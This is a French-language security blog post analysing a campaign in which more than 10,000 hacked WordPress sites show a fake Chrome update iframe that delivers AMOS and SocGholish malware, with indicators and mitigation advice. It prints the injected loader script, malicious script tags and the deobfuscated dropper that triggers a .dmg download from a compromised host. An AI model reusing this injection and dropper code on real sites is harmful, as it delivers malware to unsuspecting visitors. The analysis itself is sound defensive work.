Skip to main content
Blog
Blog Attacks

Plus de 10 000 sites WordPress identifiés comme vecteurs de malwares macOS et Windows

Nous avons identifié plus de 10 000 sites WordPress affichant une fausse page de mise à jour du navigateur Google menant au téléchargement de malwares.

Jan 27, 2025 7 min read
10000-wordpress-image-cover

TL;DR : iframe de fausse mise à jour Chrome livrant un malware multiplateforme

  • Deux malwares, une iframe : L'ancienne règle voulait qu'AMOS cible Mac et SocGholish Windows, chacun opéré par un groupe distinct. Cette campagne a brisé cette règle en livrant les deux malwares depuis la même iframe de fausse mise à jour Chrome, sur les mêmes 10 000 sites WordPress.
  • Ignoré par les flux de menaces : Le loader hébergé sur deski.fastcloudcdn[.]com était détecté par 17 fournisseurs sur 96 sur VirusTotal, et 27 domaines associés ont été liés à l'opération. cside a signalé le JS obfusqué initial avec un niveau de confiance élevé avant même que l'iframe ne s'affiche.
  • Que faire maintenant : Si vous utilisez WordPress 6.7.1 ou un plugin non corrigé, partez du principe que vous chargez déjà un script qu'aucun flux de menaces ne détecte. Ajoutez une inspection des scripts en runtime dès cette semaine, ou découvrez la compromission la prochaine fois qu'un visiteur vous appellera pour signaler un problème.

Peu de temps ? Découvrez le blocage in-browser des Magecart et skimmers de cside. Elle couvre tout ce qui suit en un seul déploiement.

Cette semaine, nous avons identifié plus de 10 000 sites WordPress affichant de fausses pages de mise à jour du navigateur Google dans le navigateur des visiteurs via une iframe.

La page distribue des malwares multiplateformes : AMOS (Atomic macOS Stealer), qui cible les utilisateurs Apple, et SocGholish, qui cible les utilisateurs Windows.

Fausse page de mise à jour du navigateur Google affichée aux visiteurs d'un site WordPress piraté via une iframe

Il s'agit de malwares populaires disponibles dans le commerce, qui circulent depuis un certain temps. Les deux variantes de malware sont généralement attribuées à des groupes d'attaquants distincts, une distinction que cette découverte remet en question.

À notre connaissance, c'est également la première fois qu'ils sont distribués via une attaque côté client. Du JavaScript chargé dans le navigateur de l'utilisateur génère la fausse page dans une iframe. Les attaquants exploitent des versions obsolètes de WordPress et de ses plugins afin de compliquer la détection sur les sites ne disposant pas d'un outil de surveillance côté client.

Les attaquants ont vraisemblablement exploité une vulnérabilité dans un plugin WordPress pour distribuer le JavaScript malveillant. Ce fichier n'est actuellement signalé par aucun fournisseur de flux de menaces, et le domaine non plus.

Résultats VirusTotal montrant le fichier malveillant détecté par aucun éditeur antivirus
Résultats VirusTotal montrant le domaine malveillant détecté par aucun fournisseur de sécurité

Voici deux des domaines les plus répandus identifiés sur des milliers de sites :

Détails techniques

Grâce à notre moteur de détection, nous avons repéré un premier fichier JS tiers suspect à l'URL suivante :

https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de[.]js

Notre plateforme a signalé ce fichier comme un script malveillant avec un haut niveau de confiance, en raison de son caractère fortement obfusqué, qui exploite plusieurs niveaux d'encodage. Cette détection a déclenché une analyse approfondie, nous permettant de découvrir un réseau de plus de 10 000 sites WordPress infectés.

Un exemple de site compromis est disponible dans notre répertoire de domaines.

Script injecté utilisant plusieurs niveaux d'encodage détecté sur les sites WordPress compromis

Blackshelter[.]org redirige l'utilisateur vers fastcloudcdn[.]com, qui héberge le JavaScript malveillant.

JavaScript malveillant hébergé sur fastcloudcdn[.]com qui distribue le malware

Nous avons ensuite identifié plusieurs scripts malveillants hébergés sur différents domaines.

<script type="rocketlazyloadscript" data-rocket-type="text/javascript" src="https://blacksaltys[.]com/2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0" id="ms_main_script-js" defer></script>
<script type="rocketlazyloadscript" data-rocket-type="text/javascript" src="https://objmapper[.]com/CtmE0s2ZteC8BuQLNprxjCPB8gAgAcIi7niu-9oX3Q2e" id="ucf_main_script-js" defer></script>

Plusieurs sites contiennent des éléments **** conçus pour effectuer une prérésolution DNS pour des domaines malveillants, améliorant vraisemblablement les performances de leurs opérations :

<link rel='dns-prefetch' href='//rednosehorse[.]com' />
<link rel='dns-prefetch' href='//blacksaltys[.]com' />
<link rel='dns-prefetch' href='//objmapper[.]com' />
<link rel='dns-prefetch' href='//blackshelter[.]org' />

Une fonction anonyme auto-invoquée charge dynamiquement un fichier JavaScript externe :

;(function(o, q, f, e, w, j) {
    w = q.createElement(f);
    j = q.getElementsByTagName(f)[0];
    w.async = 1;
    w.src = e;
    j.parentNode.insertBefore(w, j);
})(window, document, 'script', `https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de.js?qbsfsc=${Math.floor(Date.now() / 1000)}`);

Le script externe est chargé et exécuté dynamiquement, avec un paramètre de requête (qbsfsc) contenant un horodatage Unix afin de contourner les mécanismes de mise en cache.

Comportement malveillant observé

Le script obfusqué exécute plusieurs actions.

Il commence par arrêter toute activité en cours dans le navigateur.

window.stop();

Il supprime des attributs tels que class, style, id, etc., des éléments HTML.

for (let at of [["class", "style", "lang", "id", "dir"]]) {
    el.removeAttribute(at);}

Ensuite, il injecte dynamiquement l'iframe dans la page, affichant la fausse page de mise à jour de Chrome.

let frame = document.createElement("iframe");
frame.srcdoc = rsd;
document.body.appendChild(frame);

Analyse et conclusions

Notre analyse a révélé que les sites compromis utilisaient des versions obsolètes de WordPress (6.7.1) et de ses plugins, que les attaquants ont pu exploiter pour injecter du code malveillant.

Nous avons identifié 27 domaines malveillants liés à cette activité.

Quelques exemples :

  • blacksaltys[.]com
  • objmapper[.]com
  • rednosehorse[.]com
  • Blackshelter[.]org

Le script malveillant à l'adresse https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de[.]js affichait un taux de détection de 17/96 dans le rapport VirusTotal.

Au cours de notre analyse, nous avons découvert que cette campagne cible à la fois les plateformes Windows et macOS. Nous avons réussi à télécharger un fichier dmg associé au malware macOS.

Décryptage des malwares macOS et Windows

Le fichier malveillant (274efb6bb2f95deb7c7f8192919bf690d69c3f3a441c81fe2a24284d5f274973) était, au moment de l'analyse, signalé par 6 éditeurs d'antivirus.

Le code suivant a été mis au jour après plusieurs couches de désobfuscation. Il crée et télécharge dynamiquement le fichier du malware macOS AMOS (Atomic Mac OS Stealer).

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1252" />
</head>
<body>
    <script>
        (async () => {
            try {
                var btn = document.createElement("a");
                btn.href = `hxxps://extendedstaybrunswick[.]com/wp-content/plugins/reset-wp/resty.php?eg=${Math.floor(Date.now() / 1000)}`;
                btn.download = "C_6.12.4.dmg";
                document.body.appendChild(btn);

                parent.postMessage("loaded", "*");
                window.addEventListener("message", function (event) {
                    if (event.data == "download") {
                        setTimeout(function () {
                            btn.click();
                        }, 100);
                    }
                });
            } catch (e) { }
        })()
    </script>
</body>
</html>

Le script génère dynamiquement un bouton de téléchargement pointant vers la charge utile du malware macOS. Il écoute un événement "message" avec la valeur "download", qui déclenche le téléchargement du fichier.

Voici deux sources pour en savoir plus sur le malware AMOS.

Voici une source pour en savoir plus sur le malware Windows SocGholish.

AMOS et SocGholish sont tous deux des malwares disponibles dans le commerce et peuvent être achetés sur Telegram.

Atténuation et protection

Dans un premier temps, mettez à jour votre installation WordPress. Mettez à jour vos plugins, évaluez leur utilité et supprimez ceux qui ne sont pas utilisés. Recherchez les scripts et, si vous les trouvez, supprimez-les. Les attaquants laissent la plupart du temps une porte dérobée. Trouvez-la et supprimez-la.

Si vous découvrez ces scripts sur votre site, nous recommandons vivement d'examiner les journaux des 90 derniers jours afin d'identifier tout indicateur de compromission ou toute activité malveillante.

Si vous avez téléchargé des fichiers depuis les sites affectés, un nettoyage complet du système est recommandé pour limiter le risque d'infection par un malware.

cside est capable de détecter, d'alerter et de bloquer les attaques côté client de ce type grâce à son moteur de détection avancé et à son proxy. Cette attaque aurait été détectée et bloquée avec cside installé, protégeant ainsi les utilisateurs sans méfiance contre le téléchargement du malware.

Cette attaque rappelle qu'il est essentiel de sécuriser la chaîne d'approvisionnement web et de maintenir les logiciels à jour. Sur la base de notre analyse, nous recommandons ce qui suit :

Vous pouvez commencer gratuitement ou nous contacter.

Liste complète des sites infectés

Retrouvez des liens sécurisés vers les pages PublicWWW des domaines infectés :

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

Interface du tableau de bord cside affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration

Envie de passer tout ça en revue avec un ingénieur ?

Trente minutes, sur votre propre site. Pas de slides.

Nous vous montrerons :

Quels scripts tiers s'exécutent actuellement sur votre site
Où vous en êtes sur les exigences PCI DSS 6.4.3 et 11.6.1
Quelle part de votre trafic provient de bots et d'agents IA

Vous préférez simplement poser une question ?

Recherche de créneaux…

Humains uniquement. On le saurait.

Un problème pour réserver ? Ouvrir le calendrier dans un nouvel onglet

Quel problème cherchez-vous à résoudre ?

Dites-le-nous en une ligne et nous reviendrons vers vous avec quelque chose d'utile, pas un discours générique.

Nous aidons souvent sur :

Voir quels scripts tiers s'exécutent sur votre site
Les preuves pour PCI DSS 6.4.3 et 11.6.1
Les bots, les agents IA et le vol de comptes

Vous préférez réserver un créneau ? Choisir un créneau